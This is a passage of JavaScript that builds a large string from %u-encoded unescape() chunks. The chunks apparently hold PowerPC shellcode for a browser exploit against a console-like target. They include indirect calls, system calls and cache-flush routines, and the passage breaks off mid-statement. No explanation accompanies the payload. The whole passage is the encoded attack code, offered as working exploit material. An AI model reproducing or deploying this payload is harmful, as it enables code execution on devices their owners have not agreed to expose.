unescape(\"%u38a5%u235e%u38c1%u000c%u4e80%u0421%u3ca0%u0180%u38a5%u2383%u38c1%u0008%u3880%u0000%u7fe3%ufb78%u7fc9%u03a6%u4e80%u0421%u8121%u0010%u7d29%u03a6%u4e80%u0421%u8121%u000c%u3860%u0000%u7d29%u03a6\");\n    str    += unescape(\"%u4e80%u0421%u8121%u000c%u7c7e%u1b78%u3860%u0001%u7d29%u03a6%u4e80%u0421%u8121%u0008%u3c80%uf400%u3860%u0000%u7d29%u03a6%u4e80%u0421%u8121%u0008%u3c9e%uf400%u3860%u0001%u7d29%u03a6%u4e80%u0421\");\n    str    += unescape(\"%u3880%u0000%u38a0%u0000%u38c0%u0000%u38e0%u0000%u7fe3%ufb78%u4bff%ufd5d%u7fe3%ufb78%u4bff%ufddd%u3880%u0000%u38a0%u0000%u38c0%u0000%u38e0%u0000%u7fe3%ufb78%u4bff%ufd3d%u7fe3%ufb78%u4bff%ufdbd\");\n    str    += unescape(\"%u3c80%u0180%u7fe3%ufb78%u3884%u2397%u38a0%u0000%u4bff%ufe89%u3961%u0020%u4800%u1a40%u7c08%u02a6%u9421%uffe0%u3d20%u0102%u3ca0%u0180%u6129%u8460%u93e1%u001c%u7d29%u03a6%u9001%u0024%u3880%u0000\");\n    str    += unescape(\"%u38a5%u23af%u38c1%u0008%u7c7f%u1b78%u4e80%u0421%u3880%u0000%u38a0%u0000%u38c0%u0000%u38e0%u0000%u7fe3%ufb78%u4bff%ufccd%u7fe3%ufb78%u4bff%ufd4d%u3880%u0000%u38a0%u0000%u38c0%u0000%u38e0%u0000\");\n    str    += unescape(\"%u7fe3%ufb78%u4bff%ufcad%u7fe3%ufb78%u4bff%ufd2d%u8121%u0008%u7d29%u03a6%u4e80%u0421%u3961%u0020%u4800%u19bc%u9421%uffd8%u7c08%u02a6%u3ca0%u0180%ubfa1%u001c%u3fe0%u0102%u63ff%u8460%u9001%u002c\");\n    str    += unescape(\"%u7fe9%u03a6%u7c9d%u2378%u38a5%u22cf%u3880%u0000%u38c1%u0014%u7c7e%u1b78%u4e80%u0421%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u23b5%u38c1%u0010%u4e80%u0421%u3ca0%u0180%u7fc3%uf378\");\n    str    += unescape(\"%u7fe9%u03a6%u3880%u0000%u38a5%u23c4%u38c1%u000c%u4e80%u0421%u3ca0%u0180%u38a5%u23d3%u38c1%u0008%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u4e80%u0421%u8121%u0014%u3880%u0020%u3860%u0300%u7d29%u03a6\");\n    str    += unescape(\"%u4e80%u0421%u8121%u0014%u7c7e%u1b78%u3880%u0008%u7d29%u03a6%u3860%u1000%u4e80%u0421%u8161%u0010%u3920%u0000%u7fa4%ueb78%u7d69%u03a6%u38a0%u0000%u38c0%u0000%u38fe%u0300%u3900%u0300%u3940%u001a\");\n    str    += unescape(\"%u7c7f%u1b78%u4e80%u0421%u8121%u000c%u7fe3%ufb78%u7d29%u03a6%u4e80%u0421%u8121%u0008%u7fe3%ufb78%u7d29%u03a6%u4e80%u0421%u2f83%u0000%u409e%u0028%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000\");\n    str    += unescape(\"%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u4bff%uffc8%u3961%u0028%u4800%u187c%u38a5%u0001%u3920%u0000%u7ca9%u03a6%u4240%u001c%u7d03%u48ae%u7d44%u48ae%u7f88%u5000%u409e%u0014%u3929%u0001\");\n    str    += unescape(\"%u4bff%uffe8%u3860%u0000%u4e80%u0020%u3860%u0001%u4e80%u0020%u38a5%u0001%u3920%u0000%u7ca9%u03a6%u4240%u0014%u7d44%u48ae%u7d43%u49ae%u3929%u0001%u4bff%ufff0%u4e80%u0020%u7c08%u02a6%u9421%uffe8\");\n    str    += unescape(\"%ubf81%u0008%u7c7e%u1b78%u9001%u001c%u7c9d%u2378%u7cbf%u2b78%u3f80%u0180%u7f9f%ue000%u419e%u0024%u7fe3%ufb78%u7fc4%uf378%u7fa5%ueb78%u4bff%uff71%u2f83%u0000%u419e%u005c%u3bff%u0004%u4bff%uffdc\");\n    str    += unescape(\"%u3f80%u0f84%u3fe0%u0d80%u639c%u8a0c%u7fe3%ufb78%u7fc4%uf378%u7fa5%ueb78%u4bff%uff45%u2f83%u0000%u419e%u0030%u3bff%u0004%u7f9f%ue000%u409e%uffe0%u3d20%u0102%u3c60%u0180%u6129%ud01c%u3863%u23e8\");\n    str    += unescape(\"%u7d29%u03a6%u4e80%u0421%u3860%u0000%u4800%u0008%u7fe3%ufb78%u3961%u0018%u4800%u1778%u7c08%u02a6%u9421%ufff0%u93e1%u000c%u7c7f%u1b78%u9001%u0014%u3860%u0001%u3880%u0000%u38a0%u0000%u38c0%u0000\");\n    str    += unescape(\"%u38e0%u0000%u3d00%u0001%u7fe9%ufb78%u3800%u3400%u7c3f%u0b78%u4400%u0002%u6000%u0000%u7fe1%ufb78%u7c7f%u1b78%u3961%u0010%u7fe3%ufb78%u4800%u1730%u7c08%u02a6%u9421%ufff0%ubfc1%u0008%u7c7f%u1b78\");\n    str    += unescape(\"%u9001%u0014%u7c9e%u2378%u3860%u0001%u3880%u0000%u7fc5%uf378%u38c0%u0000%u38e0%u0000%u3d00%u0001%u7fe9%ufb78%u7c3e%u0b78%u3800%u3500%u4400%u0002%u6000%u0000%u7fc1%uf378%u3961%u0010%u4800%u16dc\");\n    str    += unescape(\"%u9421%ufe50%u7c08%u02a6%ubde1%u016c%u3fe0%u0102%u7c7d%u1b78%u63ff%u6e60%u3c60%u0180%u9001%u01b4%u7fe9%u03a6%u3863%u23fa%u3881%u0158%u4e80%u0421%u3c60%u0180%u7fe9%u03a6%u3881%u0154%u3863%u2403\");\n    str    += unescape(\"%u3fe0%u0102%u63ff%u8460%u4e80%u0421%u8061%u0158%u4bff%uf795%u8061%u0158%u4bff%ufb25%u3ca0%u0180%u7fe9%u03a6%u8061%u0158%u3880%u0000%u38a5%u22c8%u38c1%u0150%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6\");\n    str    += unescape(\"%u8061%u0158%u3880%u0000%u38a5%u240a%u38c1%u014c%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0158%u3880%u0000%u38a5%u22cf%u38c1%u0148%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0158%u3880%u0000\");\n    str    += unescape(\"%u38a5%u22e1%u38c1%u0144%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0158%u3880%u0000%u38a5%u233b%u38c1%u0140%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0158%u3880%u0000%u38a5%u2411%u38c1%u013c\");\n    str    += unescape(\"%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0158%u3880%u0000%u38a5%u2423%u38c1%u0138%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0158%u3880%u0000%u38a5%u23b5%u38c1%u0134%u4e80%u0421%u3ca0%u0180\");\n    str    += unescape(\"%u7fe9%u03a6%u8061%u0158%u3880%u0000%u38a5%u23c4%u38c1%u0130%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0158%u3880%u0000%u38a5%u2435%u38c1%u012c%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0158\");\n    str    += unescape(\"%u3880%u0000%u38a5%u2449%u38c1%u0128%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0158%u3880%u0000%u38a5%u245c%u38c1%u0124%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0158%u3880%u0000%u38a5%u23d3\");\n    str    += unescape(\"%u38c1%u0120%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0158%u3880%u0000%u38a5%u246a%u38c1%u011c%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0158%u3880%u0000%u38a5%u23af%u38c1%u0118%u4e80%u0421\");\n    str    += unescape(\"%u3ca0%u0180%u7fe9%u03a6%u8061%u0154%u3880%u0000%u38a5%u2474%u38c1%u0114%u4e80%u0421%u3ca0%u0180%u38a5%u2487%u38c1%u0110%u7fe9%u03a6%u8061%u0154%u3880%u0000%u4e80%u0421%u813d%u0014%u3880%u0020\");\n    str    += unescape(\"%u3860%u0300%u7d29%u03a6%u4e80%u0421%u813d%u0014%u7c7f%u1b78%u3880%u0020%u7d29%u03a6%u3860%u0300%u4e80%u0421%u813d%u0014%u7c7e%u1b78%u3880%u0020%u7d29%u03a6%u3860%u0300%u4e80%u0421%u813d%u0014\");\n    str    += unescape(\"%u3880%u0008%u7c76%u1b78%u7d29%u03a6%u3860%u1000%u4e80%u0421%u8161%u0134%u38a0%u0000%u38c0%u0000%u7d69%u03a6%u38ff%u0300%u3900%u0300%u3940%u0019%u8081%u0118%u3920%u0000%u7c7a%u1b78%u4e80%u0421\");\n    str    += unescape(\"%u813d%u0014%u7c7c%u1b78%u3880%u0008%u7d29%u03a6%u3860%u1000%u4e80%u0421%u8161%u0134%u8081%u0118%u38a0%u0000%u7d69%u03a6%u38c0%u0000%u38fe%u0300%u3900%u0300%u3920%u0000%u3940%u001c%u7c7b%u1b78\");\n    str    += unescape(\"%u4e80%u0421%u813d%u0014%u7c79%u1b78%u3880%u0008%u3860%u1000%u7d29%u03a6%u4e80%u0421%u2f9c%u0000%u7c78%u1b78%u419e%u000c%u2f99%u0000%u409e%u002c%u8061%u0158%u3c80%u0180%u3884%u2499%u38a0%u0001\");\n    str    += unescape(\"%u4bff%uf7d9%u3c60%u2fff%u6063%uffff%u4bff%uf47d%u8061%u0158%u4bff%uf949%u8061%u0158%u3c80%u0180%u3884%u24c5%u38a0%u0001%u4bff%uf7b1%u3d20%u0102%u6129%u8460%u3ca0%u0180%u38c1%u010c%u7d29%u03a6\");\n    str    += unescape(\"%u8061%u0158%u3880%u0000%u38a5%u24d8%u3f80%u0180%u3b9c%u21ec%u4e80%u0421%u8121%u010c%u7f84%ue378%u38a0%u002c%u3929%u0044%u3861%u0040%u9121%u010c%u4bff%ufae5%u80a1%u011c%u3880%u002c%u3861%u0040\");\n    str    += unescape(\"%u4bff%ufaf9%u389c%u002c%u7c79%u1b78%u3861%u00c0%u7ca4%uc4aa%u7ca3%uc5aa%u3880%u0018%u80a1%u011c%u4bff%ufad9%u389c%u0044%u7c74%u1b78%u3861%u00a8%u7ca4%uc4aa%u7ca3%uc5aa%u3880%u0018%u80a1%u011c\");\n    str    += unescape(\"%u4bff%ufab9%u389c%u005c%u7c70%u1b78%u38a0%u0038%u3861%u0008%u4bff%ufa81%u80a1%u011c%u3880%u0038%u3861%u0008%u4bff%ufa95%u389c%u0094%u7c71%u1b78%u3861%u0090%u7ca4%uc4aa%u7ca3%uc5aa%u3880%u0018\");\n    str    += unescape(\"%u80a1%u011c%u4bff%ufa75%u393c%u00ac%u7c72%u1b78%u3861%u00fc%u7ca9%u64aa%u7ca3%u65aa%u3880%u000c%u80a1%u011c%u4bff%ufa55%u393c%u00b8%u7c75%u1b78%u3861%u00f0%u7ca9%u64aa%u7ca3%u65aa%u3880%u000c\");\n    str    += unescape(\"%u80a1%u011c%u4bff%ufa35%u395c%u00c4%u7c6f%u1b78%u3861%u00e4%u7caa%u64aa%u7ca3%u65aa%u3880%u000c%u80a1%u011c%u3b9c%u00d0%u4bff%ufa11%u3880%u000c%u7c73%u1b78%u3861%u00d8%u7cbc%u64aa%u7ca3%u65aa\");\n    str    += unescape(\"%u80a1%u011c%u4bff%uf9f5%u393f%u0080%u3940%u00a0%u913a%u000c%u915a%u007c%u3920%u0000%u3959%u000c%u38df%u01f8%u38bf%u0220%u913a%u0078%u90da%u0084%u391f%u0208%u915a%u0098%u3880%u0004%u90bf%u014c\");\n    str    += unescape(\"%u38bf%u0218%u90bf%u0168%u38bf%u0210%u90df%u01fc%u3cc0%u4452%u90bf%u0178%u60c6%u5642%u38bf%u0230%u90df%u0208%u90bf%u01a8%u3cc0%u4452%u38bf%u021c%u80e1%u010c%u90bf%u01c4%u60c6%u5643%u38bf%u0228\");\n    str    += unescape(\"%u911f%u0118%u90bf%u01dc%u3900%u0004%u38b9%u0028%u90df%u0210%u38de%u0080%u90bf%u01f4%u90ff%u0094%u7c77%u1b78%u929f%u0114%u911f%u011c%u929f%u0174%u911f%u017c%u915f%u01f8%u913f%u0200%u913f%u0204\");\n    str    += unescape(\"%u913f%u020c%u913f%u0214%u925f%u0124%u933f%u0154%u921f%u0164%u925f%u0184%u923f%u01b4%u933f%u01e4%u913f%u0218%u913f%u021c%u913f%u0224%u913f%u022c%u91ff%u0220%u92bf%u0228%u90db%u000c%u38c0%u0170\");\n    str    += unescape(\"%u90db%u007c%u38de%u01a8%u90db%u0084%u913b%u0078%u915b%u0098%u913e%u01b0%u913e%u01b4%u913e%u01bc%u913e%u01c4%u3d20%udead%u90fe%u0094%u6129%uc0de%u38fe%u0204%u915e%u01a8%u90fe%u0118%u3d40%u4452\");\n    str    += unescape(\"%u38fe%u01b8%u913e%u0204%u813d%u0014%u614a%u5641%u90fe%u0128%u38fe%u01c8%u911e%u012c%u7d29%u03a6%u911e%u0174%u391e%u01c0%u90fe%u0158%u911e%u018c%u915e%u01b8%u90de%u01ac%u929e%u0124%u90be%u01a4\");\n    str    += unescape(\"%u907e%u01c0%u3860%u0008%u921e%u0114%u925e%u0134%u923e%u0164%u933e%u0194%u4e80%u0421%u8121%u014c%u3c80%u0180%u38a0%u0005%u7d29%u03a6%u3884%u24e5%u7c7c%u1b78%u4e80%u0421%u813d%u0014%u3880%u0004\");\n    str    += unescape(\"%u3860%u0008%u7d29%u03a6%u4e80%u0421%u8121%u014c%u3c80%u0180%u38a0%u0005%u7d29%u03a6%u3884%u24ea%u7c74%u1b78%u4e80%u0421%u7f83%ue378%u3880%u0004%u38a0%u0000%u38c0%u0000%u7ea9%u03a6%u4e80%u0421\");\n    str    += unescape(\"%u3880%u0004%u7c7c%u1b78%u38a0%u0000%u7e83%ua378%u38c0%u0000%u7ea9%u03a6%u4e80%u0421%u7c69%ue379%u41a2%u0038%u8061%u0158%u3c80%u0180%u3884%u24ef%u38a0%u0002%u4bff%uf425%u3c60%u2fff%u6063%uffff\");\n    str    += unescape(\"%u4bff%uf0c9%u8061%u0158%u8081%u0110%u4bff%uf619%u8061%u0158%u4bff%uf589%u8121%u0148%u3860%u1000%u3880%u0020%u7d29%u03a6%u4e80%u0421%u7c7c%u1b79%u40a2%u0038%u8061%u0158%u3c80%u0180%u3884%u2528\");\n    str    += unescape(\"%u38a0%u0002%u4bff%uf3d5%u3c60%u2fff%u6063%uffff%u4bff%uf079%u8061%u0158%u8081%u0110%u4bff%uf5c9%u8061%u0158%u4bff%uf539%u3d20%u0123%u7f83%ue378%u6129%u4567%u3880%u1000%u913c%u0000%u3d20%u4452\");\n    str    += unescape(\"%u6129%u5648%u913c%u0fb4%u3d20%u4158%u913c%u0fb8%u3920%u0008%u913c%u0ff4%u3d20%uffe8%u6129%u5960%u913c%u0ff8%u8121%u0140%u7d29%u03a6%u4e80%u0421%u8121%u013c%u7f83%ue378%u3880%u1000%u7d29%u03a6\");\n    str    += unescape(\"%u4e80%u0421%u813d%u0014%u3880%u0004%u3860%u0008%u7d29%u03a6%u4e80%u0421%u3920%u0000%u9923%u0007%u3c80%u0180%u8121%u014c%u38a0%u0007%u3884%u2558%u7c79%u1b78%u7d29%u03a6%u4e80%u0421%u813d%u0014\");\n    str    += unescape(\"%u3880%u0004%u3860%u0008%u7d29%u03a6%u4e80%u0421%u3d20%ufff0%u6129%u2214%u3ca0%uc000%u9123%u0000%u3d20%ufff0%u6129%u2234%u3880%u0004%u60a5%u0004%u38c0%u0004%u9123%u0004%u7ee9%u03a6%u7c75%u1b78\");\n    str    += unescape(\"%u7e83%ua378%u4e80%u0421%u8121%u0130%u9281%u006c%u9121%u0088%u8121%u0124%u9381%u0070%u9121%u0084%u8121%u0128%u93e1%u007c%u7d29%u03a6%u93c1%u0080%u9341%u0074%u9361%u0078%u92e1%u008c%u8281%u012c\");\n    str    += unescape(\"%u8381%u0134%u4e80%u0421%u7e89%u03a6%u4e80%u0421%u3c80%u0180%u7c69%u1b78%u3884%u0238%u38a0%u0001%u38c1%u006c%u38f6%u0300%u3900%u0300%u3940%u001a%u7f89%u03a6%u7f03%uc378%u4e80%u0421%u8121%u0124\");\n    str    += unescape(\"%u7d29%u03a6%u4e80%u0421%u8121%u0130%u7f03%uc378%u7d29%u03a6%u4e80%u0421%u8121%u0120%u7f03%uc378%u7d29%u03a6%u4e80%u0421%u2f83%u0000%u409e%u0034%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000\");\n    str    += unescape(\"%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u8121%u0124%u7d29%u03a6%u4e80%u0421%u4bff%uffbc%u3880%u0006%u7ea5%uab78%u38c0%u0008%u7ee9%u03a6%u7f23%ucb78%u4e80%u0421%u3920%u002a%u7c25%u0b78\");\n    str    += unescape(\"%u7f23%ucb78%u9525%u0108%u3880%u0006%u38c0%u0004%u7e69%u03a6%u4e80%u0421%u8121%u0108%u6d2a%ufff0%u2f8a%u2214%u419e%u0038%u8061%u0158%u3c80%u0180%u3884%u255f%u38a0%u0002%u4bff%uf1a1%u3c60%u2fff\");\n    str    += unescape(\"%u6063%uffff%u4bff%uee45%u8061%u0158%u8081%u0110%u4bff%uf395%u8061%u0158%u4bff%uf305%u3c60%uff20%u3e80%uff20%u6063%u000c%u3e60%u4452%u4bff%uf5b1%u3e40%u4452%u5463%u2036%u3b20%u0000%u3ee3%uff20\");\n    str    += unescape(\"%u3b80%u0000%u3af7%u0014%u6294%u0013%u6273%u5641%u6252%u5648%u7f97%ua040%u409d%u0048%u7ee3%ubb78%u4bff%uf57d%u7c75%u1b78%u4bff%uf575%u7f83%u9800%u419e%u0014%u7f83%u9000%u40be%u0010%u7eb9%uab78\");\n    str    += unescape(\"%u4800%u0008%u7ebc%uab78%u2f9c%u0000%u419e%u000c%u2f99%u0000%u409e%u0050%u3af7%ufff0%u4bff%uffb8%u2f9c%u0000%u419e%u000c%u2f99%u0000%u409e%u0038%u8061%u0158%u3c80%u0180%u3884%u2587%u38a0%u0002\");\n    str    += unescape(\"%u4bff%uf0d9%u3c60%u2fff%u6063%uffff%u4bff%ued7d%u8061%u0158%u8081%u0110%u4bff%uf2cd%u8061%u0158%u4bff%uf23d%u7f84%ue378%u3879%u0048%u4bff%uf545%u813d%u0018%u7f43%ud378%u7d29%u03a6%u4e80%u0421\");\n    str    += unescape(\"%u813d%u0018%u7f03%uc378%u7d29%u03a6%u4e80%u0421%u813d%u0018%u7f63%udb78%u7d29%u03a6%u4e80%u0421%u813d%u0018%u7fe3%ufb78%u7d29%u03a6%u4e80%u0421%u813d%u0018%u7ec3%ub378%u7d29%u03a6%u4e80%u0421\");\n    str    += unescape(\"%u813d%u0018%u7fc3%uf378%u7d29%u03a6%u4e80%u0421%u3961%u01b0%u4800%u0bc8%u7c08%u02a6%u9421%uffc0%u3ca0%u0180%ubf61%u002c%u3fc0%u0102%u9001%u0044%u63de%u8460%u7c7f%u1b78%u7fc9%u03a6%u7c9c%u2378\");\n    str    += unescape(\"%u8063%u0004%u3880%u0000%u38a5%u322c%u38c1%u001c%u4e80%u0421%u3ca0%u0180%u7fc9%u03a6%u807f%u0004%u3880%u0000%u38a5%u3239%u38c1%u0018%u4e80%u0421%u3ca0%u0180%u7fc9%u03a6%u807f%u0004%u3880%u0000\");\n    str    += unescape(\"%u38a5%u3251%u38c1%u0014%u4e80%u0421%u3ca0%u0180%u7fc9%u03a6%u807f%u0004%u3880%u0000%u38a5%u3265%u38c1%u0010%u4e80%u0421%u3ca0%u0180%u7fc9%u03a6%u807f%u0004%u3880%u0000%u38a5%u327b%u38c1%u000c\");\n    str    += unescape(\"%u4e80%u0421%u3ca0%u0180%u38a5%u3291%u38c1%u0008%u3880%u0000%u807f%u0004%u7fc9%u03a6%u4e80%u0421%u8121%u001c%u7d29%u03a6%u4e80%u0421%u8121%u0018%u3860%u0000%u7d29%u03a6%u4e80%u0421%u8121%u0018\");\n    str    += unescape(\"%u7c7e%u1b78%u3860%u0001%u7d29%u03a6%u3fbe%uf400%u4e80%u0421%u8121%u0014%u7c7b%u1b78%u3c80%uf400%u7d29%u03a6%u3860%u0000%u4e80%u0421%u8121%u0014%u7fa4%ueb78%u3860%u0001%u7d29%u03a6%u4e80%u0421\");\n    str    += unescape(\"%u8121%u0010%u3880%u0000%u3860%u0000%u7d29%u03a6%u4e80%u0421%u8121%u0010%u3880%u0000%u3860%u0001%u7d29%u03a6%u4e80%u0421%u813f%u001c%u3c60%uf400%u7fc4%uf378%u7d29%u03a6%u4e80%u0421%u813f%u001c\");\n    str    += unescape(\"%u7f64%udb78%u7fa3%ueb78%u7d29%u03a6%u4e80%u0421%u8121%u000c%u3860%u0000%u7d29%u03a6%u4e80%u0421%u8121%u000c%u3860%u0001%u7d29%u03a6%u4e80%u0421%u8121%u0008%u3880%u0000%u38a0%u0000%u7f86%ue378\");\n    str    += unescape(\"%u7d29%u03a6%u3860%u0001%u4e80%u0421%u8121%u000c%u3860%u0001%u7d29%u03a6%u4e80%u0421%u8121%u0010%u3860%u0001%u3880%u0000%u7d29%u03a6%u4e80%u0421%u3d20%u4000%u7d29%u03a6%u4240%u000c%u6000%u0000\");\n    str    += unescape(\"%u4bff%ufff8%u813f%u0024%u7d29%u03a6%u4e80%u0421%u3961%u0040%u4800%u09f8%u3d00%u01ff%u3ce3%u4000%u6108%uffff%u7f87%u4040%u409d%u002c%u3d00%u00ff%u3ce3%u3e00%u6108%uffff%u7f87%u4040%u419d%u0028\");\n    str    += unescape(\"%u3d20%u4d00%u3d40%uc200%u6129%u0012%u614a%u01ff%u4800%u0014%u3d20%u4e00%u3d40%uc000%u6129%u0012%u614a%u03ff%u7cf8%u82a6%u7d19%u82a6%u7d58%u83a6%u7d39%u83a6%u7c00%u06ac%u4c00%u012c%u3945%u0001\");\n    str    += unescape(\"%u3920%u0000%u7d49%u03a6%u4240%u0014%u7d49%u20ae%u7d49%u19ae%u3929%u0001%u4bff%ufff0%u5469%u0034%u7c63%u2a14%u7f89%u1840%u409c%u0014%u7c00%u48ac%u7c00%u04ac%u3929%u0020%u4bff%uffec%u7cf8%u83a6\");\n    str    += unescape(\"%u7d19%u83a6%u7c00%u06ac%u4c00%u012c%u4e80%u0020%u9421%uffe8%u7c08%u02a6%u3920%u0000%u3c60%u0180%u9121%u0008%u3d20%u0102%u6129%u6e60%u9001%u001c%u3881%u000c%u7d29%u03a6%u3863%u32a3%u4e80%u0421\");\n    str    += unescape(\"%u3d20%u0102%u6129%u8460%u3ca0%u0180%u8061%u000c%u38c1%u0008%u7d29%u03a6%u3880%u0000%u38a5%u32ae%u4e80%u0421%u8121%u0008%u7d29%u03a6%u4e80%u0421%u8001%u001c%u3821%u0018%u7c08%u03a6%u4e80%u0020\");\n    str    += unescape(\"%u9421%uffe0%u7c08%u02a6%ubf41%u0008%u7c9f%u2379%u9001%u0024%u7c7e%u1b78%u7cbd%u2b78%u7cdc%u3378%u7cfb%u3b78%u7d1a%u4378%u4182%u0024%u813f%u0000%u6d2a%u7f45%u2f8a%u4c46%u409e%u0014%u813f%u0010\");\n    str    += unescape(\"%u6d2a%u0002%u2f8a%u0014%u419e%u0014%u3c80%u0180%u7fc3%uf378%u3884%u32c2%u4bff%ufc81%u80ff%u0020%u3960%u0000%ua11f%u0030%u7cff%u3a14%u7ce9%u3b78%u7f8b%u4000%u409c%u0060%ua0df%u0032%u8149%u0000\");\n    str    += unescape(\"%u1cc6%u0028%u7cc7%u3214%u80a6%u0010%u7caa%u2a14%u7faa%ueb78%u7cbf%u2a14%u38a5%uffff%u8c05%u0001%u2f80%u0000%u419e%u0020%u88ca%u0000%u2f86%u0000%u419e%u0014%u7f80%u3040%u409e%u0060%u394a%u0001\");\n    str    += unescape(\"%u4bff%uffdc%u894a%u0000%u7f8a%u0000%u41be%u0024%u4800%u0048%u2f9a%u0000%u3be0%u0000%u41be%u0048%u7fc3%uf378%u7fa4%ueb78%u4bff%ufbf1%u4800%u0038%u2f9b%u0000%u419e%u000c%u8149%u000c%u915b%u0000\");\n    str    += unescape(\"%u2f9c%u0000%u419e%u000c%u8149%u0014%u915c%u0000%u83e9%u0010%u4800%u0010%u396b%u0001%u3929%u0028%u4bff%uff50%u3961%u0020%u7fe3%ufb78%u4800%u079c%u7c08%u02a6%u9421%uff60%u3d20%u0102%u3c60%u0180\");\n    str    += unescape(\"%u6129%u6e60%ubfc1%u0098%u9001%u00a4%u7d29%u03a6%u3863%u32d3%u3881%u0094%u3fe0%u0102%u63ff%u8460%u4e80%u0421%u3ca0%u0180%u38c1%u008c%u8061%u0094%u3880%u0000%u38a5%u32e0%u7fe9%u03a6%u4e80%u0421\");\n    str    += unescape(\"%u8121%u008c%u3880%u0000%u38a0%u003c%u7d29%u03a6%u3861%u0008%u4e80%u0421%u8121%u008c%u8061%u0094%u3ca0%u0180%u9121%u0014%u3d20%u0180%u3929%u25bc%u9061%u000c%u9121%u0008%u3880%u0001%u38a5%u32e7\");\n    str    += unescape(\"%u38c1%u0090%u7fe9%u03a6%u4e80%u0421%u8121%u0090%u3ca0%u0180%u8061%u0094%u8129%u0000%u3880%u0001%u38a5%u3301%u38c1%u0090%u9121%u001c%u7fe9%u03a6%u4e80%u0421%u8121%u0090%u3ca0%u0180%u8061%u0094\");\n    str    += unescape(\"%u8129%u0000%u3880%u0000%u38a5%u3316%u38c1%u0010%u9121%u0020%u7fe9%u03a6%u4e80%u0421%u3ca0%u0180%u8061%u0094%u3880%u0000%u38a5%u331d%u38c1%u0018%u7fe9%u03a6%u4e80%u0421%u3ca0%u0180%u8061%u0094\");\n    str    += unescape(\"%u3880%u0000%u38a5%u3333%u38c1%u0024%u7fe9%u03a6%u4e80%u0421%u3ca0%u0180%u8061%u0094%u3880%u0000%u38a5%u3340%u38c1%u0028%u7fe9%u03a6%u4e80%u0421%u3ca0%u0180%u8061%u0094%u3880%u0000%u38a5%u3352\");\n    str    += unescape(\"%u38c1%u002c%u7fe9%u03a6%u4e80%u0421%u8121%u0018%u3c60%ua000%u7d29%u03a6%u4e80%u0421%u2f83%u0000%u40be%u0010%u3861%u0008%u4bff%uef59%u4800%u0144%u3ca0%u0180%u7fe9%u03a6%u8061%u0094%u3880%u0000\");\n    str    += unescape(\"%u38a5%u3358%u38c1%u0070%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0094%u3880%u0000%u38a5%u3360%u38c1%u006c%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0094%u3880%u0000%u38a5%u3369%u38c1%u0068\");\n    str    += unescape(\"%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0094%u3880%u0000%u38a5%u337b%u38c1%u0064%u4e80%u0421%u3ca0%u0180%u3880%u0000%u38a5%u338d%u38c1%u0044%u7fe9%u03a6%u8061%u0094%u4e80%u0421%u8121%u0070\");\n    str    += unescape(\"%u7d29%u03a6%u4e80%u0421%u8121%u0064%u7c7e%u1b78%u3880%u0040%u3860%u0100%u7d29%u03a6%u4e80%u0421%u7c7f%u1b79%u40a2%u0014%u3c80%u0180%u3861%u0008%u3884%u339c%u4bff%uf965%u8121%u0014%u3880%u0000\");\n    str    += unescape(\"%u38a0%u0100%u7fe3%ufb78%u7d29%u03a6%u4e80%u0421%u8121%u0068%u7fe4%ufb78%u38a0%u0003%u38c0%u0000%u38e0%u0000%u7d29%u03a6%u7fc3%uf378%u4e80%u0421%u8121%u006c%u7fc3%uf378%u7d29%u03a6%u4e80%u0421\");\n    str    += unescape(\"%u8121%u0044%u7fe3%ufb78%u7d29%u03a6%u4e80%u0421%u3c60%uffeb%u6063%u7ea4%u3880%u0000%u4bff%uedd5%u3c60%uffeb%u6063%u7ea8%u3c80%u1400%u4bff%uedc5%u3fe0%u0102%u3ca0%u0180%u63ff%u8460%u8061%u0094\");\n    str    += unescape(\"%u7fe9%u03a6%u3880%u0000%u38a5%u33ca%u38c1%u0088%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0094%u3880%u0000%u38a5%u33d9%u38c1%u0084%u4e80%u0421%u3ca0%u0180%u38a5%u33e8%u38c1%u0080%u7fe9%u03a6\");\n    str    += unescape(\"%u8061%u0094%u3880%u0000%u4e80%u0421%u8121%u001c%u3880%u0020%u3860%u4000%u7d29%u03a6%u4e80%u0421%u8121%u001c%u7c7e%u1b78%u3880%u0008%u3860%u1000%u7d29%u03a6%u4e80%u0421%u7c7f%u1b79%u4182%u000c\");\n    str    += unescape(\"%u2f9e%u0000%u40be%u0014%u3c80%u0180%u3861%u0008%u3884%u33fd%u4bff%uf845%u8161%u0088%u3c80%u0180%u7fe3%ufb78%u3884%u188c%u38a0%u0001%u38c1%u0008%u38fe%u4000%u3900%u4000%u3920%u0000%u3940%u001a\");\n    str    += unescape(\"%u7d69%u03a6%u4e80%u0421%u2f83%u0000%u40be%u0014%u3c80%u0180%u3861%u0008%u3884%u3439%u4bff%uf7fd%u8121%u0084%u7fe3%ufb78%u7d29%u03a6%u4e80%u0421%u8121%u0080%u7fe3%ufb78%u7d29%u03a6%u4e80%u0421\");\n    str    += unescape(\"%u2f83%u0000%u409e%u0028%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u4bff%uffc8%u3c60%uffe8%u3c80%u0180%u6063%u5924%u3884%u17d4%u4bff%uec75\");\n    str    += 